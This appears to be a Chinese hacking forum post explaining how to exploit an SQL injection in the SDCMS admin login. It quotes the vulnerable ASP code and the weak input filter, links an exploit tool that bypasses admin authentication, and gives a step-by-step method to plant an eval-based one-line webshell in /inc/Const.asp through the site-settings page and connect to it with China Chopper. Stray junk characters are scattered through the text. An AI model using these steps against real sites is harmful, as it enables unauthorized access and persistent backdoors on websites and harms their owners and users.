SDCMS通杀漏洞利用工具及提权拿SHELL

admin

作者：T00LS 鬼哥
漏洞文件：后台目录/index.asp
8 r# X( I1 ]* D- P0 R
Sub Check
    Dim username,password,code,getcode,Rs
    IF Check_post Then Echo "1禁止从外部提交数据!":Exit Sub
    username=FilterText(Trim(Request.Form("username")),1)
* u7 V: m) k! W6 d6 B% \    password=FilterText(Trim(Request.Form("password")),1)
" K& I4 O) l& P! ^4 J4 U    code=Trim(Request.Form("yzm"))
1 D" s- K) w) U, z/ O5 e    getcode=Session("SDCMSCode")
    IF errnum>=loginnum Then Echo "系统已禁止您今日再登录":died
    IF code="" Then Alert "验证码不能为空！","javascript:history.go(-1)"ied
( s- X. j: F" b0 E    IF code<>"" And Not Isnumeric(code) Then Alert "验证码必须为数字！","javascript:history.go(-1)"ied
    IF code<>getcode Then Alert "验证码错误！","javascript:history.go(-1)"ied
    IF username="" or password="" Then
        Echo "用户名或密码不能为空"ied
    Else
) m5 w+ B, P( e; ?4 M: f0 s3 k+ }        Set Rs=Conn.Execute("Select Id,Sdcms_Name,Sdcms_Pwd,isadmin,alllever,infolever From Sd_Admin Where Sdcms_name='"&username&"' And Sdcms_Pwd='"&md5(password)&"'")
0 U5 C9 n) I" j        IF Rs.Eof Then
            AddLog username,GetIp,"登录失败",1
+ W) C6 @; ]  U) {" |$ J: \0 \7 J            Echo "用户名或密码错误,今日还有 "&loginnum-errnum&" 次机会"
# p1 ~( B2 o* n! d: p5 \        Else
            Add_Cookies "sdcms_id",Rs(0)
            Add_Cookies "sdcms_name",username
            Add_Cookies "sdcms_pwd",Rs(2)
            Add_Cookies "sdcms_admin",Rs(3)
4 Y) e) }" D4 n) u- s            Add_Cookies "sdcms_alllever",Rs(4)
4 P0 F2 U( h! D5 S3 i            Add_Cookies "sdcms_infolever",Rs(5)
            Conn.Execute("Update Sd_Admin Set logintimes=logintimes+1,LastIp='"&GetIp&"' Where id="&Rs(0)&"")
            AddLog username,GetIp,"登录成功",1
/ X1 J" f, N& j$ \% j% K% u) u            '自动删除30天前的Log记录
8 P$ z1 \6 z/ H' @# A            IF Sdcms_DataType Then
5 V, c4 q  X( q. q0 S. t; @: F                Conn.Execute("Delete From Sd_Log Where DateDiff('d',adddate,Now())>30")
9 j3 ]9 W  p- F4 q5 v5 I3 @! S( l            Else
# Z8 X3 |: |1 T' Z4 R: t                Conn.Execute("Delete From Sd_Log Where DateDiff(d,adddate,GetDate())>30")
            End IF
( Q8 T" y8 z7 h. w% b$ c            Go("sdcms_index.asp")
6 N; e/ k3 @  C  g$ O. _        End IF
        Rs.Close
        Set Rs=Nothing
    End IF
9 I4 V) _% s4 b( u" dEnd Sub

’我们可以看到username是通过FilterText来过滤的。我们看看FilterText的代码
3 u) _3 B, R4 d0 C# e- P' X
% U( Y, M5 V2 I( D6 _+ V+ ^* j) nFunction FilterText(ByVal t0,ByVal t1)
    IF Len(t0)=0 Or IsNull(t0) Or IsArray(t0) Then FilterText="":Exit Function
    t0=Trim(t0)
    Select Case t1
  G* a4 P$ V/ |0 X, E+ I: j* X        Case "1"
            t0=Replace(t0,Chr(32),"")
# Y/ l6 L( v, }4 [# q            t0=Replace(t0,Chr(13),"")
            t0=Replace(t0,Chr(10)&Chr(10),"")
$ |: T) p" z1 _  H2 Q1 D/ L$ T" [            t0=Replace(t0,Chr(10),"")
2 o" J! [, }2 t7 D* u        Case "2"
            t0=Replace(t0,Chr(8),"")'回格
: g9 R6 H1 d: |' f6 v3 F5 ?) U            t0=Replace(t0,Chr(9),"")'tab(水平制表符)
            t0=Replace(t0,Chr(10),"")'换行
            t0=Replace(t0,Chr(11),"")'tab(垂直制表符)
            t0=Replace(t0,Chr(12),"")'换页
, p% c. i) p8 g" L9 k3 A            t0=Replace(t0,Chr(13),"")'回车 chr(13)&chr(10) 回车和换行的组合
# l/ B: Y) ^, j* Z; R1 y9 d0 T            t0=Replace(t0,Chr(22),"")
            t0=Replace(t0,Chr(32),"")'空格 SPACE
' P; U. L1 S7 R7 U, ~2 y            t0=Replace(t0,Chr(33),"")'!
            t0=Replace(t0,Chr(34),"")'"
3 V2 S% O$ H5 t1 h2 C; w            t0=Replace(t0,Chr(35),"")'#
            t0=Replace(t0,Chr(36),"")'$
4 [3 f: z+ R: w) \9 P% a5 \            t0=Replace(t0,Chr(37),"")'%
* c' u% E% O& F3 i: ^) U: t            t0=Replace(t0,Chr(38),"")'&
6 @( o' ~, b/ `4 Z& r            t0=Replace(t0,Chr(39),"")''
            t0=Replace(t0,Chr(40),"")'(
            t0=Replace(t0,Chr(41),"")')
6 x, F- U/ o' ~# I: {) a0 K1 N            t0=Replace(t0,Chr(42),"")'*
, }3 t! }# _) h: a) ^9 c' E/ i            t0=Replace(t0,Chr(43),"")'+
            t0=Replace(t0,Chr(44),"")',
& U4 N+ L" k( K+ |: y- F            t0=Replace(t0,Chr(45),"")'-
1 O9 d4 C  V: }            t0=Replace(t0,Chr(46),"")'.
' ~" O7 P; g  J+ N6 {- a* V            t0=Replace(t0,Chr(47),"")'/
            t0=Replace(t0,Chr(58),"")':
            t0=Replace(t0,Chr(59),"")';
9 }8 ^6 H( J; P& m            t0=Replace(t0,Chr(60),"")'<             t0=Replace(t0,Chr(61),"")'=             t0=Replace(t0,Chr(62),"")'>
            t0=Replace(t0,Chr(63),"")'?
/ f9 M. S: I0 x1 S            t0=Replace(t0,Chr(64),"")'@
            t0=Replace(t0,Chr(91),"")'\
            t0=Replace(t0,Chr(92),"")'\
            t0=Replace(t0,Chr(93),"")']
: [$ N: Y# z% B" Y7 {! R, J% N            t0=Replace(t0,Chr(94),"")'^
            t0=Replace(t0,Chr(95),"")'_
            t0=Replace(t0,Chr(96),"")'`
            t0=Replace(t0,Chr(123),"")'{
            t0=Replace(t0,Chr(124),"")'|
            t0=Replace(t0,Chr(125),"")'}
( L$ O7 R/ ~) @0 X; D            t0=Replace(t0,Chr(126),"")'~
, A2 Q) V2 P9 N9 ]1 V  D" Y; e( h0 A- H    Case Else
        t0=Replace(t0, "&", "&")
        t0=Replace(t0, "'", "'")
        t0=Replace(t0, """", """)
        t0=Replace(t0, "<", "<")         t0=Replace(t0, ">", ">")
    End Select
0 y& u* ^% G5 n/ Q3 |/ ~    IF Instr(Lcase(t0),"expression")>0 Then
        t0=Replace(t0,"expression","e&shy;xpression", 1, -1, 0)
5 c4 e" F0 d* U! t7 ^    End If
2 N' C2 i7 }: D, R9 [+ Z    FilterText=t0
End Function

看到没。直接参数是1 只过滤
                        t0=Replace(t0,Chr(32)," ")
                        t0=Replace(t0,Chr(13),"")
" c* o. ]4 W" n- g                        t0=Replace(t0,Chr(10)&Chr(10),"
8 ~" J) K# e  h0 Z")
# y' p# Z5 Q4 K7 W( V                        t0=Replace(t0,Chr(10),"
")
漏洞导致可以直接拿到后台帐号密码。SDCMS默认后台地址/admin/如果站长改了后台路径,那么请自行查找!
# C: l% Q0 j$ P* s6 }EXP利用工具下载 (此工具只能在XP上运行):sdcms-EXP

2 H0 o1 }$ h2 d3 Y% `4 m3 l3 a测试:
, O+ g$ a" i) s  m: x
3 P5 C% }+ S" x4 W. U2 t0 u2 _) }
现在输入工具上验证码,然后点OK

5 a5 o' M. E& Y
! n6 z1 @7 e6 b6 T4 R) u: G看到我们直接进入后台管理界面了,呵呵!

6 g. a7 y1 ^( [3 [0 Y
% x6 F, u3 c) h& Y0 m* e# `4 s) k
( j4 G: R5 k8 _4 ~) B这样直接进入后台了。。。。
0 r( s% h7 M3 X4 S4 k3 F
+ q9 W/ l7 ~: n0 t

SDCMS提权:
8 U9 j1 F9 G( B; M
方法1：访问：/后台目录/sdcms_set.asp 在 网站名称：后面加个 “:eval(request(Chr(63)))’  即可，直接写一句话进去。 写入到/inc/Const.asp 一句话连接密码是?

. o6 j' w- {- O8 t# a6 a6 A! y$ i3 P3 p

+ @* D* Y1 P" |; w/ a9 jOK,现在用菜刀连接下!


) M/ p) M9 k* h2 F4 E5 z

# W$ G6 D4 k, |8 k( d1 Z